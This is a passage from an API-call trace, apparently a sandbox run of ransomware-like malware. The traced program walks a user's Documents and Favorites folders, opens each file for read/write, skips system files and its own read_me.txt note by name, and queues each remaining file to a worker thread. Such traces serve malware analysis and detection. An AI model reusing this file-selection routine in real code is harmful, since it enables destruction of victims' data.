ftLastAccessTime.dwLowDateTime=0x1ab00630, ftLastAccessTime.dwHighDateTime=0x1d59fdd, ftLastWriteTime.dwLowDateTime=0x1ab00630, ftLastWriteTime.dwHighDateTime=0x1d59fdd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0078.714] wnsprintfW (in: pszDest=0x42620e8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\My Shapes\\_private\\..") returned 65 [0078.714] FindNextFileW (in: hFindFile=0x32fc208, lpFindFileData=0x2c5fb60 | out: lpFindFileData=0x2c5fb60*(dwFileAttributes=0x2, ftCreationTime.dwLowDateTime=0x9ebad4e0, ftCreationTime.dwHighDateTime=0x1d305ee, ftLastAccessTime.dwLowDateTime=0x9ebad4e0, ftLastAccessTime.dwHighDateTime=0x1d305ee, ftLastWriteTime.dwLowDateTime=0x9ebf97a0, ftLastWriteTime.dwHighDateTime=0x1d305ee, nFileSizeHigh=0x0, nFileSizeLow=0x74e6, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="folder.ico", cAlternateFileName="")) returned 1 [0078.714] wnsprintfW (in: pszDest=0x42620e8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\My Shapes\\_private\\folder.ico") returned 73 [0078.714] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\My Shapes\\_private\\folder.ico" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\my shapes\\_private\\folder.ico"), dwDesiredAccess=0xc0000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x8e4 [0078.734] StrStrW (lpFirst="folder.ico", lpSrch="read_me.txt") returned 0x0 [0078.734] StrStrW (lpFirst="folder.ico", lpSrch="autoexec.bat") returned 0x0 [0078.734] StrStrW (lpFirst="folder.ico", lpSrch="desktop.ini") returned 0x0 [0078.734] StrStrW (lpFirst="folder.ico", lpSrch="autorun.inf") returned 0x0 [0078.734] StrStrW (lpFirst="folder.ico", lpSrch="ntuser.dat") returned 0x0 [0078.734] StrStrW (lpFirst="folder.ico", lpSrch="iconcache.db") returned 0x0 [0078.734] StrStrW (lpFirst="folder.ico", lpSrch="bootsect.bak") returned 0x0 [0078.734] StrStrW (lpFirst="folder.ico", lpSrch="boot.ini") returned 0x0 [0078.734] StrStrW (lpFirst="folder.ico", lpSrch="ntuser.dat.log") returned 0x0 [0078.734] StrStrW (lpFirst="folder.ico", lpSrch="thumbs.db") returned 0x0 [0078.734] InterlockedExchangeAdd (in: Addend=0x40f064, Value=1 | out: Addend=0x40f064) returned 90 [0078.734] QueueUserWorkItem (Function=0x404e00, Context=0x8e4, Flags=0x0) returned 1 [0078.735] FindNextFileW (in: hFindFile=0x32fc208, lpFindFileData=0x2c5fb60 | out: lpFindFileData=0x2c5fb60*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1ab00630, ftCreationTime.dwHighDateTime=0x1d59fdd, ftLastAccessTime.dwLowDateTime=0x1ab00630, ftLastAccessTime.dwHighDateTime=0x1d59fdd, ftLastWriteTime.dwLowDateTime=0x1ab00630, ftLastWriteTime.dwHighDateTime=0x1d59fdd, nFileSizeHigh=0x0, nFileSizeLow=0x6b3, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="read_me.txt", cAlternateFileName="")) returned 1 [0078.735] wnsprintfW (in: pszDest=0x42620e8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\My Shapes\\_private\\read_me.txt") returned 74 [0078.735] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\My Shapes\\_private\\read_me.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\my shapes\\_private\\read_me.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x8e8 [0078.735] StrStrW (lpFirst="read_me.txt", lpSrch="read_me.txt") returned="read_me.txt" [0078.735] CloseHandle (hObject=0x8e8) returned 1 [0078.735] FindNextFileW (in: hFindFile=0x32fc208, lpFindFileData=0x2c5fb60 | out: lpFindFileData=0x2c5fb60*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1ab00630, ftCreationTime.dwHighDateTime=0x1d59fdd, ftLastAccessTime.dwLowDateTime=0x1ab00630, ftLastAccessTime.dwHighDateTime=0x1d59fdd, ftLastWriteTime.dwLowDateTime=0x1ab00630, ftLastWriteTime.dwHighDateTime=0x1d59fdd, nFileSizeHigh=0x0, nFileSizeLow=0x6b3, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="read_me.txt", cAlternateFileName="")) returned 0 [0078.735] FindClose (in: hFindFile=0x32fc208 | out: hFindFile=0x32fc208) returned 1 [0078.735] wnsprintfW (in: pszDest=0x42620e8, cchDest=32767, pszFmt="%s\\read_me.txt" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\My Shapes\\_private\\read_me.txt") returned 74 [0078.735] GetProcessHeap () returned 0x540000 [0078.736] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x42620e8 | out: hHeap=0x540000) returned 1 [0078.736] InterlockedExchangeAdd (in: Addend=0x40f16c, Value=1 | out: Addend=0x40f16c) returned 51 [0078.736] GetProcessHeap () returned 0x540000 [0078.736] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x4170060 | out: hHeap=0x540000) returned 1 [0078.749] GetProcessHeap () returned 0x540000 [0078.749] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x8, Size=0xfffe) returned 0x4170060 [0078.749] wnsprintfW (in: pszDest=0x4170060, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Microsoft Websites\\*") returned 64 [0078.749] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Microsoft Websites\\*", lpFindFileData=0x2c5fb60 | out: lpFindFileData=0x2c5fb60*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x1ac7d3f0, ftLastAccessTime.dwHighDateTime=0x1d59fdd, ftLastWriteTime.dwLowDateTime=0x1ac7d3f0, ftLastWriteTime.dwHighDateTime=0x1d59fdd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x32fc208 [0078.749] wnsprintfW (in: pszDest=0x4170060, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Microsoft Websites\\.") returned 64 [0078.749] FindNextFileW (in: hFindFile=0x32fc208, lpFindFileData=0x2c5fb60 | out: lpFindFileData=0x2c5fb60*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x1ac7d3f0, ftLastAccessTime.dwHighDateTime=0x1d59fdd, ftLastWriteTime.dwLowDateTime=0x1ac7d3f0, ftLastWriteTime.dwHighDateTime=0x1d59fdd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0078.749] wnsprintfW (in: pszDest=0x4170060, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Microsoft Websites\\..") returned 65 [0078.749] FindNextFileW (in: hFindFile=0x32fc208, lpFindFileData=0x2c5fb60 | out: lpFindFileData=0x2c5fb60*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28d4b900, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d86cf60, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x85, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="IE Add-on site.url", cAlternateFileName="IEADD-~1.URL")) returned 1 [0078.749] wnsprintfW (in: pszDest=0x4170060, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Microsoft Websites\\IE Add-on site.url") returned 81 [0078.749] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Microsoft Websites\\IE Add-on site.url" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\favorites\\microsoft websites\\ie add-on site.url"), dwDesiredAccess=0xc0000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x8f8 [0078.749] StrStrW (lpFirst="ie add-on site.url", lpSrch="read_me.txt") returned 0x0 [0078.749] StrStrW (lpFirst="ie add-on site.url", lpSrch="autoexec.bat") returned 0x0 [0078.749] StrStrW (lpFirst="ie add-on site.url", lpSrch="desktop.ini") returned 0x0 [0078.749] StrStrW (lpFirst="ie add-on site.url", lpSrch="autorun.inf") returned 0x0 [0078.749] StrStrW (lpFirst="ie add-on site.url", lpSrch="ntuser.dat") returned 0x0 [0078.750] StrStrW (lpFirst="ie add-on site.url", lpSrch="iconcache.db") returned 0x0 [0078.750] StrStrW (lpFirst="ie add-on site.url", lpSrch="bootsect.bak") returned 0x0 [0078.750] StrStrW (lpFirst="ie add-on site.url", lpSrch="boot.ini") returned 0x0 [0078.750] StrStrW (lpFirst="ie add-on site.url", lpSrch="ntuser.dat.log") returned 0x0 [0078.750] StrStrW (lpFirst="ie add-on site.url", lpSrch="thumbs.db") returned 0x0 [0078.750] InterlockedExchangeAdd (in: Addend=0x40f064, Value=1 | out: Addend=0x40f064) returned 95 [0078.750] QueueUserWorkItem (Function=0x404e00, Context=0x8f8, Flags=0x0) returned 1 [0078.750] FindNextFileW (in: hFindFile=0x32fc208, lpFindFileData=0x2c5fb60 | out: lpFindFileData=0x2c5fb60*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28d4b900, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d86cf60, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x85, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="IE site on Microsoft.com.url", cAlternateFileName="IESITE~1.URL")) returned 1 [0078.750] wnsprintfW (in: pszDest=0x4170060, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Microsoft Websites\\IE site on Microsoft.com.url") returned 91 [0078.750] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Microsoft Websites\\IE site on Microsoft.com.url" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\favorites\\microsoft websites\\ie site on microsoft.com.url"), dwDesiredAccess=0xc0000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x8fc [0078.750] StrStrW (lpFirst="ie site on microsoft.com.url", lpSrch="read_me.txt") returned 0x0 [0078.750] StrStrW (lpFirst="ie site on microsoft.com.url", lpSrch="autoexec.bat") returned 0x0 [0078.750] StrStrW (lpFirst="ie site on microsoft.com.url", lpSrch="desktop.ini") returned 0x0 [0078.750] StrStrW (lpFirst="ie site on microsoft.com.url", lpSrch="autorun.inf") returned 0x0 [0078.750] StrStrW (lpFirst="ie site on microsoft.com.url", lpSrch="ntuser.dat") returned 0x0 [0078.750] StrStrW (lpFirst="ie site on microsoft.com.url", lpSrch="iconcache.db") returned 0x0 [0078.750] StrStrW (lpFirst="ie site on microsoft.com.url", lpSrch="bootsect.bak") returned 0x0 [0078.750] StrStrW (lpFirst="ie site on microsoft.com.url", lpSrch="boot.ini") returned 0x0 [0078.751] StrStrW (lpFirst="ie site on microsoft.com.url", lpSrch="ntuser.dat.log") returned 0x0 [0078.751] StrStrW (lpFirst="ie site on microsoft.com.url", lpSrch="thumbs.db") returned 0x0 [0078.751] InterlockedExchangeAdd (in: Addend=0x40f064, Value=1 | out: Addend=0x40f064) returned 96 [0078.751] QueueUserWorkItem (Function=0x404e00, Context=0x8fc, Flags=0x0) returned 1 [0078.751] FindNextFileW (in: hFindFile=0x32fc208, lpFindFileData=0x2c5fb60 | out: lpFindFileData=0x2c5fb60*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28d4b900, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d86cf60, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x85, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Microsoft At Home.url", cAlternateFileName="MICROS~3.URL")) returned 1 [0078.751] wnsprintfW (in: pszDest=0x4170060, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Microsoft Websites\\Microsoft At Home.url") returned 84 [0078.751] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Microsoft Websites\\Microsoft At Home.url" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\favorites\\microsoft websites\\microsoft at home.url"), dwDesiredAccess=0xc0000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x900 [0078.751] StrStrW (lpFirst="microsoft at home.url", lpSrch="read_me.txt") returned 0x0 [0078.751] StrStrW (lpFirst="microsoft at home.url", lpSrch="autoexec.bat") returned 0x0 [0078.751] StrStrW (lpFirst="microsoft at home.url", lpSrch="desktop.ini") returned 0x0 [0078.751] StrStrW (lpFirst="microsoft at home.url", lpSrch="autorun.inf") returned 0x0 [0078.751] StrStrW (lpFirst="microsoft at home.url", lpSrch="ntuser.dat") returned 0x0 [0078.751] StrStrW (lpFirst="microsoft at home.url", lpSrch="iconcache.db") returned 0x0 [0078.751] StrStrW (lpFirst="microsoft at home.url", lpSrch="bootsect.bak") returned 0x0 [0078.751] StrStrW (lpFirst="microsoft at home.url", lpSrch="boot.ini") returned 0x0 [0078.751] StrStrW (lpFirst="microsoft at home.url", lpSrch="ntuser.dat.log") returned 0x0 [0078.751] StrStrW (lpFirst="microsoft at home.url", lpSrch="thumbs.db") returned 0x0 [0078.751] InterlockedExchangeAdd (in: Addend=0x40f064, Value=1 | out: Addend=0x40f064) returned 97 [0078.751] QueueUserWorkItem (Function=0x404e00, Context=0x900, Flags=0x0) returned 1 [0078.751] FindNextFileW (in: hFindFile=0x32fc208, lpFindFileData=0x2c5fb60 | out: lpFindFileData=0x2c5fb60*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28d4b900, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d86cf60, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x85, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Microsoft At Work.url", cAlternateFileName="MICROS~2.URL")) returned 1 [0078.752] wnsprintfW (in: pszDest=0x4170060, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Microsoft Websites\\Microsoft At Work.url") returned 84 [0078.752] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Microsoft Websites\\Microsoft At Work.url" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\favorites\\microsoft websites\\microsoft at work.url"), dwDesiredAccess=0xc0000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x904 [0078.752] StrStrW (lpFirst="microsoft at work.url", lpSrch="read_me.txt") returned 0x0 [0078.752] StrStrW (lpFirst="microsoft at work.url", lpSrch="autoexec.bat") returned 0x0 [0078.752] StrStrW (lpFirst="microsoft at work.url", lpSrch="desktop.ini") returned 0x0 [0078.752] StrStrW (lpFirst="microsoft at work.url", lpSrch="autorun.inf") returned 0x0 [0078.752] StrStrW (lpFirst="microsoft at work.url", lpSrch="ntuser.dat") returned 0x0 [0078.752] StrStrW (lpFirst="microsoft at work.url", lpSrch="iconcache.db") returned 0x0 [0078.752] StrStrW (lpFirst="microsoft at work.url", lpSrch="bootsect.bak") returned 0x0 [0078.752] StrStrW (lpFirst="microsoft at work.url", lpSrch="boot.ini") returned 0x0 [0078.752] StrStrW (lpFirst="microsoft at work.url", lpSrch="ntuser.dat.log") returned 0x0 [0078.752] StrStrW (lpFirst="microsoft at work.url", lpSrch="thumbs.db") returned 0x0 [0078.752] InterlockedExchangeAdd (in: Addend=0x40f064, Value=1 | out: Addend=0x40f064) returned 98 [0078.752] QueueUserWorkItem (Function=0x404e00, Context=0x904, Flags=0x0) returned 1 [0078.752] FindNextFileW (in: hFindFile=0x32fc208, lpFindFileData=0x2c5fb60 | out: lpFindFileData=0x2c5fb60*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28d4b900, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d8930c0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x86, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Microsoft Store.url", cAlternateFileName="MICROS~1.URL")) returned 1 [0078.752] wnsprintfW (in: pszDest=0x4170060, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Microsoft Websites\\Microsoft Store.url") returned 82 [0078.752] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Microsoft Websites\\Microsoft Store.url" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\favorites\\microsoft websites\\microsoft store.url"), dwDesiredAccess=0xc0000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x910 [0078.761] QueueUserWorkItem (Function=0x404e00, Context=0x910, Flags=0x0) returned 1 [0078.761] FindNextFileW (in: hFindFile=0x32fc208, lpFindFileData=0x2c5fb60 | out: lpFindFileData=0x2c5fb60*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1ac7d3f0, ftCreationTime.dwHighDateTime=0x1d59fdd, ftLastAccessTime.dwLowDateTime=0x1ac7d3f0, ftLastAccessTime.dwHighDateTime=0x1d59fdd, ftLastWriteTime.dwLowDateTime=0x1ac7d3f0, ftLastWriteTime.dwHighDateTime=0x1d59fdd, nFileSizeHigh=0x0, nFileSizeLow=0x6b3, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="read_me.txt", cAlternateFileName="")) returned 1 [0078.761] wnsprintfW (in: pszDest=0x4170060, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Microsoft Websites\\read_me.txt") returned 74 [0078.761] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Microsoft Websites\\read_me.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\favorites\\microsoft websites\\read_me.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x914 [0078.761] GetProcessHeap () returned 0x540000 [0078.761] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x8, Size=0xfffe) returned 0x4312140 [0078.761] wnsprintfW (in: pszDest=0x4312140, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\MSN Websites\\*") returned 58 [0078.761] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\MSN Websites\\*", lpFindFileData=0x2c5fb60 | out: lpFindFileData=0x2c5fb60*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x1acef810, ftLastAccessTime.dwHighDateTime=0x1d59fdd, ftLastWriteTime.dwLowDateTime=0x1acef810, ftLastWriteTime.dwHighDateTime=0x1d59fdd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x32fc208 [0078.761] wnsprintfW (in: pszDest=0x4312140, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\MSN Websites\\.") returned 58 [0078.761] FindNextFileW (in: hFindFile=0x32fc208, lpFindFileData=0x2c5fb60 | out: lpFindFileData=0x2c5fb60*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x1acef810, ftLastAccessTime.dwHighDateTime=0x1d59fdd, ftLastWriteTime.dwLowDateTime=0x1acef810, ftLastWriteTime.dwHighDateTime=0x1d59fdd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0078.761] wnsprintfW (in: pszDest=0x4312140, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\MSN Websites\\..") returned 59 [0078.761] FindNextFileW (in: hFindFile=0x32fc208, lpFindFileData=0x2c5fb60 | out: lpFindFileData=0x2c5fb60*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28d4b900, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d8930c0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x85, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="MSN Autos.url", cAlternateFileName="MSNAUT~1.URL")) returned 1 [0078.761] wnsprintfW (in: pszDest=0x4312140, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\MSN Websites\\MSN Autos.url") returned 70 [0078.761] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\MSN Websites\\MSN Autos.url" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\favorites\\msn websites\\msn autos.url"), dwDesiredAccess=0xc0000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x914 [0078.762] QueueUserWorkItem (Function=0x404e00, Context=0x914, Flags=0x0) returned 1 [0078.762] FindNextFileW (in: hFindFile=0x32fc208, lpFindFileData=0x2c5fb60 | out: lpFindFileData=0x2c5fb60*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28d4b900, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d86cf60, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x85, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="MSN Entertainment.url", cAlternateFileName="MSNENT~1.URL")) returned 1 [0078.762] wnsprintfW (in: pszDest=0x4312140, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\MSN Websites\\MSN Entertainment.url") returned 78 [0078.762] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\MSN Websites\\MSN Entertainment.url" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\favorites\\msn websites\\msn entertainment.url"), dwDesiredAccess=0xc0000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x918 [0078.765] QueueUserWorkItem (Function=0x404e00, Context=0x918, Flags=0x0) returned 1 [0078.765] FindNextFileW (in: hFindFile=0x32fc208, lpFindFileData=0x2c5fb60 | out: lpFindFileData=0x2c5fb60*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28d4b900, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d86cf60, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x85, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="MSN Money.url", cAlternateFileName="MSNMON~1.URL")) returned 1 [0078.765] wnsprintfW (in: pszDest=0x4312140, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\MSN Websites\\MSN Money.url") returned 70 [0078.765] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\MSN Websites\\MSN Money.url" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\favorites\\msn websites\\msn money.url"), dwDesiredAccess=0xc0000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x924 [0078.770] QueueUserWorkItem (Function=0x404e00, Context=0x924, Flags=0x0) returned 1 [0078.770] FindNextFileW (in: hFindFile=0x32fc208, lpFindFileData=0x2c5fb60 | out: lpFindFileData=0x2c5fb60*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28d4b900, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d86cf60, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x85, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="MSN Sports.url", cAlternateFileName="MSNSPO~1.URL")) returned 1 [0078.770] wnsprintfW (in: pszDest=0x4312140, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\MSN Websites\\MSN Sports.url") returned 71 [0078.770] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\MSN Websites\\MSN Sports.url" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\favorites\\msn websites\\msn sports.url"), dwDesiredAccess=0xc0000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x7f8 [0078.772] QueueUserWorkItem (Function=0x404e00, Context=0x7f8, Flags=0x0) returned 1 [0078.772] FindNextFileW (in: hFindFile=0x32fc208, lpFindFileData=0x2c5fb60 | out: lpFindFileData=0x2c5fb60*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28d4b900, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d86cf60, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x85, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="MSN.url", cAlternateFileName="")) returned 1 [0078.772] wnsprintfW (in: pszDest=0x4312140, cchDest=32767, pszFmt="%s\\%s" | out: 